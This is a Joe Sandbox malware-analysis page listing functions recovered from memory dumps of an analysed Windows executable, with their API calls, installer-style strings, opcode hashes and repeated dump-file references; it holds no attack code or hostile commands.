Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$PyB
API String ID: 651206458-2625859087
Opcode ID: c98fe4888829193d15d66a8f940c07c2a35d93a6c948cb38a058ae9da671c941
Instruction ID: fe8561038ca0c1f851d54235c72d98e4424113abdfb89388266e227e9cd06809
Opcode Fuzzy Hash: c98fe4888829193d15d66a8f940c07c2a35d93a6c948cb38a058ae9da671c941
Instruction Fuzzy Hash: E8617B7190021AEBCF10DF65E9846AF7BA8AB04316F14453BF905B6290DB789F50CBA9

Function 00404F88 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(007B9A60,00427950,0041F150,00000000), ref: 00404FC0
lstrlenW.KERNEL32(004034C5,007B9A60,00427950,0041F150,00000000), ref: 00404FD0
lstrcatW.KERNEL32(007B9A60,004034C5,004034C5,007B9A60,00427950,0041F150,00000000), ref: 00404FE3
SetWindowTextW.USER32(007B9A60,007B9A60), ref: 00404FF5
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040501B
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405035
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405043

Part of subcall function 0040681B: GetVersion.KERNEL32(007B9A60,?,00000000,00404FBF,007B9A60,00000000,00427950,0041F150,00000000), ref: 004068EC

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 14e0322028ff1b5cf2a02c776065e56adf75eebd84e0f2ede120a82dc9a55bcd
Instruction ID: be30987b008cdac283f352a72c5daf1bc185fc6a717e9f44ce2e47ebc7ce0ac4
Opcode Fuzzy Hash: 14e0322028ff1b5cf2a02c776065e56adf75eebd84e0f2ede120a82dc9a55bcd
Instruction Fuzzy Hash: BF219D71800118BBCF12AFA5DD849DEBFB8EF45350F10803AFA04B62A0D7794A50DB98

Function 00405E95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EB3
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403814,008520C0,008560C8), ref: 00405ECE

Strings

nsa, xrefs: 00405EA2

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: fc3ef10fc4e670788618d569d9e14e1d65dd7a664a0663973dbebc503530dd57
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: C9F09675610604BBDB10CF59DD05A9FBBADEF94710F10803BEA45E7150E6B09E44C758

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a45af70f12a2ff9289efdc41b9adff97a1dd73ee066bf74a3cdcdad6e34fb976
Instruction ID: 4a7c6b10ca187eba816588ea1d9201846d19603f0f5fc62a4a658fec9e55caff
Opcode Fuzzy Hash: a45af70f12a2ff9289efdc41b9adff97a1dd73ee066bf74a3cdcdad6e34fb976
Instruction Fuzzy Hash: 22F0F432A10220DBDB165B349D44B263698AB44750F68863BF911FA2F1D67CCC128B5C

Function 00405E66 Relevance: 3.0, APIs: 2, Instructions: 15
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(00000003,004035DD,0085E0D8,80000000,00000003,?,?,?,00000000,00403A5D,?), ref: 00405E6A
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A5D,?), ref: 00405E8C

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E46 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,00406E97,?,?,?), ref: 00405E4A
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E5D

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: bfdd682a7b15487adc9015e6c601711f35dcdd947f77102e263bd76fd4388c72
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: C1C01271404800AAC6010B34DF0881A7A26AB90370B298B3AB0BAE00F0CB3088A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037E2 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040604E: CharNextW.USER32(?,*?|<>/":,00000000,008560C8,008420A0,008560C8,00000000,004037EE,008560C8,-00000002,00403A21), ref: 004060B1
Part of subcall function 0040604E: CharNextW.USER32(?,?,?,00000000), ref: 004060C0
Part of subcall function 0040604E: CharNextW.USER32(?,008560C8,008420A0,008560C8,00000000,004037EE,008560C8,-00000002,00403A21), ref: 004060C5
Part of subcall function 0040604E: CharPrevW.USER32(?,?,008420A0,008560C8,00000000,004037EE,008560C8,-00000002,00403A21), ref: 004060D9

CreateDirectoryW.KERNELBASE(008560C8,00000000,008560C8,008560C8,008560C8,-00000002,00403A21), ref: 00403803

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: 6aaccbf0f4c256e95583d3efcb425cbe1f8ad9d91dfce7af8f321156cb5e1b29
Instruction ID: b75284c5955f365d0d9c4c727e495e4f3aae82af695c09dbce3dc5899ee9d583
Opcode Fuzzy Hash: 6aaccbf0f4c256e95583d3efcb425cbe1f8ad9d91dfce7af8f321156cb5e1b29
Instruction Fuzzy Hash: CBD0C751143D3061D5A1336A7D06FCF0D4DAF5271AB06407BF945B71C29E7C065A45FE

Function 00403DC5 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DD7

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a4c2fbc6537a4e2e10d0aaa18e55a0f473435c9c430a92ea22682a11aa367049
Instruction ID: 351e0a8c765281c3195cd404f5b3ad0414b1fc796bc1ebfc3b4bb23d15cda905
Opcode Fuzzy Hash: a4c2fbc6537a4e2e10d0aaa18e55a0f473435c9c430a92ea22682a11aa367049
Instruction Fuzzy Hash: 5EC04C71741200BADE118B509D45F4677595B54B01F14842D7751E50E0C675E450D61C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403770,?,?,?,?,00000000,00403A5D,?), ref: 00403376

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403DAE Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057CA), ref: 00403DBC

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a7e957f13f870acf51719ce23fee518245a8468dc0d415f7553b12ea6140625d
Instruction ID: 6c132dfc24aee7538c722acb3c4fbe442182aafe193b813e67a2c49468a4fdb9
Opcode Fuzzy Hash: a7e957f13f870acf51719ce23fee518245a8468dc0d415f7553b12ea6140625d
Instruction Fuzzy Hash: CDB09235181601EADE514B00DE0AF857B62A7A4701F408028B242640B0CAB200A0DB08

Function 00403D9B Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405763), ref: 00403DA5

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 4eba91875022923bbdfface656c56718ce72c38f834018de90076ae375f390c0
Instruction ID: 124cd2e5effcc533ed8d6a5d300d068c0f0f2c80faf0ecfbfa66a2b2702a8cfe
Opcode Fuzzy Hash: 4eba91875022923bbdfface656c56718ce72c38f834018de90076ae375f390c0
Instruction Fuzzy Hash: A0A01231000800DBCE015B00EF05D057F21B750300700C128E1411003086350424EB08

Non-executed Functions

Function 00406CB1 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?), ref: 00406CCE
lstrcatW.KERNEL32(007DB150,\*.*,007DB150,?,-00000002,008560C8), ref: 00406D1F
lstrcatW.KERNEL32(?,00408838,?,007DB150,?,-00000002,008560C8), ref: 00406D3F
lstrlenW.KERNEL32(?), ref: 00406D42
FindFirstFileW.KERNEL32(007DB150,?), ref: 00406D56
FindNextFileW.KERNEL32(?,?,000000F2,?), ref: 00406E38
FindClose.KERNEL32(?), ref: 00406E49

Strings

RMDir: RemoveDirectory failed("%s"), xrefs: 00406EC6
RMDir: RemoveDirectory("%s"), xrefs: 00406E85
\*.*, xrefs: 00406D19
Delete: DeleteFile failed("%s"), xrefs: 00406E13
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EA9
Delete: DeleteFile("%s"), xrefs: 00406DD2
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E6E
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DF6

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 5ce95e6898711e9886f103bf4f784cefd31a843339168ff7e1eca7dec36df742
Instruction ID: 0e06370173042cf1970d3b282d3fdac29725624d265da3f13fe54d6ba55e86a8
